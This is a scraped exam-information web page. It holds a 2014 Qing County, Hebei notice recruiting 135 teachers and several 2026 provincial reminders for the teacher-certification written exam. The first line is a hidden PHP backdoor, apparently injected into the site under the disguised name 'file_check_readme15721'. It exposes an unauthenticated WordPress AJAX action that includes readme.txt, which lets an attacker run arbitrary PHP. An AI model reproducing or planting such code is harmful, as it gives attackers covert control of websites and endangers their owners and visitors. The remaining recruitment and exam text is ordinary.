if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河北省沧州市青县2014年公开招聘教师135名-全国教师资格考试网

河北省沧州市青县2014年公开招聘教师135名

  根据《中共沧州市委组织部  沧州市人力资源和社会保障局关于印发〈沧州市事业单位公开招聘工作人员实施办法(试行)的通知》(沧人社字〔2011〕133号)文件精神,结合我县2014年教育系统事业单位招聘工作人员计划和岗位空缺情况,经研究决定,拟面向社会公开招聘教师135名,现公告如下:
一、招聘单位
县直中小学、幼儿园和职教中心招聘教师25名,乡镇小学幼儿园招聘教师110名。
二、招聘原则
坚持公开、平等、竞争、择优的原则,按照德才兼备的用人标准,根据招聘计划和岗位空缺情况,在考试、考核的基础上择优聘用。
三、招聘方式
本次招聘采取统一招聘方式。按照制定招聘方案、发布招聘公告、报名及资格审查、招聘考试、资格复审、体检、考核、拟聘人员公示、聘用等步骤进行。
四、招聘数量、岗位、条件和待遇
(一)招聘数量、岗位:
根据上级批准的2014年青县事业单位招聘工作人员计划,此次公开招聘共招聘工作人员135名。各招聘单位具体招聘人数和岗位条件详见《2014年青县教育系统事业单位公开招聘工作人员岗位条件表》、《2014年青县教育系统教师招聘岗位设置表》,应聘人员可以通过青县人力资源网站查询报考信息。
(二)应聘人员应具备以下基本条件:
1、具有中华人民共和国国籍;
2、遵守宪法和法律;
3、具有良好的品行和职业道德;
4、具有与招聘岗位要求相适应的学历、专业和技能条件;
5、各岗位招聘教师要求所学专业或教师资格证任教学科必须与所报岗位要求相一致。职教中心招聘岗位中音乐、体育、美术、舞蹈岗位要求具有教师资格证;畜牧、会计、电子电工、平面设计、汽修、心理学六个岗位具有教师资格证的考生在笔试考试成绩的基础上加5分,不具有教师资格证的考生允许参加本次招聘,录用后一年内必须取得任教学科的教师资格证,否则解除聘用合同;
6、适应岗位要求的身体条件;
7、具有青县户籍或青县生源地考生;
8、年龄要求18周岁(1996年1月1日)以上,30周岁(1984年1月1日)以下;
9、青县幼儿师范学校2001年、2002年的毕业生(入学前系农村代课教师的)和青县职业教育中心2001年幼师班毕业生,由教育局出具报考证明,报考时不受年龄限制。
(三)有下列情形之一的人员不得报考:
1、曾因犯罪受过刑事处罚的、曾被开除公职的人员;
2、现役军人;
3、机关事业单位在职工作人员;
4、法律、法规规定不得招聘为事业单位工作人员的其他情形人员。
(四)招聘人员待遇
此次职业技术教育中心和县直中小学幼儿园招聘的25名教师纳入编制管理;乡镇小学幼儿园招聘的110名教师列编制外管理,工资福利待遇与在编教师享受同等待遇。
五、招聘程序
(一)发布公告。
2014年7月1日至2014年7月7日在青县人力资源网和青县电视台面向社会发布招聘信息。
(二)报名和资格审查。
1、现场报名时间:2014年7月8日上午9:00至2014年7月10日下午5:30。
2、报名地点及联系方式:
具体地点:青县人力资源和社会保障局干部股223房间(青县城乡服务中心二中心)
联系人: 吴宝明
电话:0317—4022030
3、报名要求:报名采取现场报名的方式进行,每名报考人员选择报考一个岗位(报考县直中小学、实验幼儿园、职教中心的考生可兼报乡镇小学幼儿园相同岗位)。报名时需携带本人二代身份证、户口簿、毕业证、相关资格证书原件以及复印件、3张近期同底1寸免冠照片,其中2014年应届毕业生须提供由本校毕业生就业指导部门签署意见的毕业生就业协议书或毕业证明。《报考资格审查表》现场报名现场提交。
4、资格审查及交费。由青县招聘工作领导小组办公室依据招聘岗位设置的条件进行资格审查,资格审查结果现场确认,通过资格审查的考生交纳报名考试费100元。
5、准考证发放:报名合格人员于2014年7月15日上午9:00至2014年7月15日下午5:30到青县人力资源和社会保障局干部股223房间领取笔试准考证。
6、岗位的招聘人数与该岗位报考人数的比例不低于1:2,报名人数低于1:2的,要求考生笔试成绩在合格分数线及以上(合格分数线为60分)。
请各位考生保持报名时所留联系电话的畅通,以便通知有关事宜。
(三)招聘录用办法
1、为体现尊重人才,尊重知识的原则,本次考试采取笔试和面试相结合,相同学科相同试卷的办法。
2、笔试,即报考县直中小学、实验幼儿园、职教中心、乡镇小学幼儿园的考生同时进行笔试。其中,报考县直中小学(实验幼儿园)幼儿、语文、英语岗位的考生,报考职教中心音乐、体育、美术岗位的考生,与报考乡镇小学幼儿园相同学科的考生采用同一试卷考试。
3、面试,即根据报考岗位先进行县直中小学、实验幼儿园和职教中心考生面试(说课),待县直中小学、实验幼儿园和职教中心面试(说课)完成后,再进行乡镇小学幼儿园考生面试(说课)。其中,乡镇小学幼儿园面试时,报考县直中小学(实验幼儿园)幼儿、语文、英语岗位和报考职教中心音乐、体育、美术岗位未被录用的考生,根据个人志愿可与乡镇小学相同学科考生按照笔试成绩统一排队,根据笔试成绩由高到低确定乡镇小学招聘岗位面试(说课)人选。
4、县直中小学和乡镇小学幼儿园岗位的选择,考生被确定为某岗位拟录用人选后,由考生本人自行选择学校,综合成绩高者优先选择。
(四)考试方式及内容
招聘采用笔试加面试(说课)的方法进行。
1、笔试
(1)笔试采取闭卷方式,考试内容为教学各科专业知识,考试时间为120分钟,满分100分。考试不指定考试辅导用书。       
若某个岗位报名人员达不到该职位应招聘人数的规定比例时,笔试成绩必须达到合格分数线(合格分数为60分)及以上。
(2)笔试时间:2014年7月16日上午8:00—10:00。笔试地点和有关要求详见笔试准考证。
(3)笔试组织。笔试的试卷命题、判卷、考点选择、考场安全、选派监考巡考以及考试组织实施等工作由招聘工作领导小组负责。采取异地命题、异地阅卷、纪检全程监督的方法。
(4)笔试成绩在青县人力资源网站发布。同时公布县直中小学和职教中心招聘岗位进入面试的考生名单。乡镇小学招聘岗位进入面试人选待县直中小学和职教中心面试完成后,再确定进入面试人员名单。
2、面试(说课)
(1)说课内容:幼儿大班教材、职教相关专业教材,初中二年级教材,小学各科六年级教材。说课的教材由招聘工作领导小组办公室统一准备。说课的课题由评委统一选取,并由考生自行抽签确定。满分为100分。准备时间:10分钟。说课时间:10分钟。由评委根据说课人员的外表仪态、板书设计、说课情况、普通话水平等现场打分。凡作弊者,一律取消考试资格。说课的评委由招聘工作领导小组聘请外地教师担任。
(2)面试人选确定。依据计划招聘人数与参加面试人数按1:2的比例根据笔试成绩由高到低的顺序确定面试人选,比例内末位笔试成绩并列的都进入面试。
若某个报考岗位实际进入面试的人员达不到规定的比例时,面试成绩必须达到60分及以上才能进入下一环节。
(3)县直中小学和职教中心进入面试的考生于2014年7 月21日,到人社局223房间领取面试通知,面试时间与地点在面试通知书上注明。
乡镇小学进入面试(说课)的考生将于县直中小学面试结束后再确定,请保持报考时所留联系电话的畅通,届时人社局将通知进入乡镇小学面试(说课)的考生到人社局223房间领取面试通知,面试时间与地点在面试通知书上注明。
(4)面试组织。面试工作由人社局组织实施。采取外聘评委、纪检监督的方式进行。说课的评委由招聘工作领导小组聘请外地教师担任,评委及工作人员均实行入闱管理,考生抽签决定面试顺序。
(5)总成绩合成及排名确定。面试结束后,按笔试成绩(含加分)、面试成绩两部分计算考试总成绩,满分 100分。其中,笔试成绩、面试成绩分别占50%、50%。(计算考生成绩时,保留小数点后两位。)招聘单位同一岗位末位出现总成绩并列一并纳入体检人员名单,资格复审、体检、考核全部合格的一并录用。
(五)资格复审。
面试结束后,根据招聘计划和考生总成绩从高到低的排名顺序,按1:1的比例确定资格复审人员,由人社局会同事业单位或主管部门对其进行资格条件复审。资格复审所需材料除现场报名时资格审查所提供的材料外,还需提供个人档案,学历认证报告和有无犯罪记录的证明,应届毕业生需提供毕业证原件及复印件一份。复审不符合条件的,取消聘用资格。
(六)体检
资格复审合格人员进入体检环节。体检人员名单在青县人力资源网站公布。体检由人社局会同事业单位或主管部门组织。体检前一天确定体检医院。体检项目、标准参照公务员录用体检的有关规定执行。体检费用自理。体检不合格的,取消聘用资格。
(七)考核
体检合格人员进入考核环节。考核由人社局会同事业单位或其主管部门组织实施,主要考察应聘人员思想政治表现、道德品质、业务能力、工作实绩等情况。考核不合格的,取消聘用资格。
(八)公示
由人社局会同事业单位主管部门研究确定拟聘人选。拟聘人选在青县人力资源网站进行公示,公示期不少于7个工作日,接受社会和群众监督。
(九)聘用
公示期间,对反映有严重问题并查有实据不符合聘用条件的、在公示期间放弃聘用的,取消其拟聘人选资格,不再进行递补,所余招聘指标待下次招聘时使用。被聘用人员按相关政策规定实行试用期,试用期一般不超过六个月,从各类学校应往届未就业的毕业生中招聘的人员,试用期为一年,试用期一并计算在聘用合同期限内。试用期满考核合格的,予以正式聘用,不合格的,取消聘用。招聘的教师与县教育局签订在招聘单位从教不低于5年的服务协议。
六、组织机构
本次招聘相关工作由人社局会同用人单位及其主管部门共同组织。为加强对本次招聘工作的领导,确保招聘工作规范有序进行,成立公开招聘工作领导小组,负责招聘工作的组织和管理,并对招聘工作的公开、公平、公正、安全及保密负总责。领导小组下设办公室,负责公开招聘工作的具体组织实施工作。同时,成立招聘工作纪律监察组,对招聘工作进行全程监督。
七、有关要求
凡考生未在规定时间内未按要求参加笔试、证件审核、面试、体检、考核、报到等情况的,均视为自动放弃应聘资格;资格审核贯穿招聘工作全过程,在任何环节,发现考生不符合招聘条件,弄虚作假的,取消应聘资格,问题严重的要追究责任。
本方案由青县事业单位公开招聘工作领导小组负责解释。
青县人力资源和社会保障局
2014年7月 
附:
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部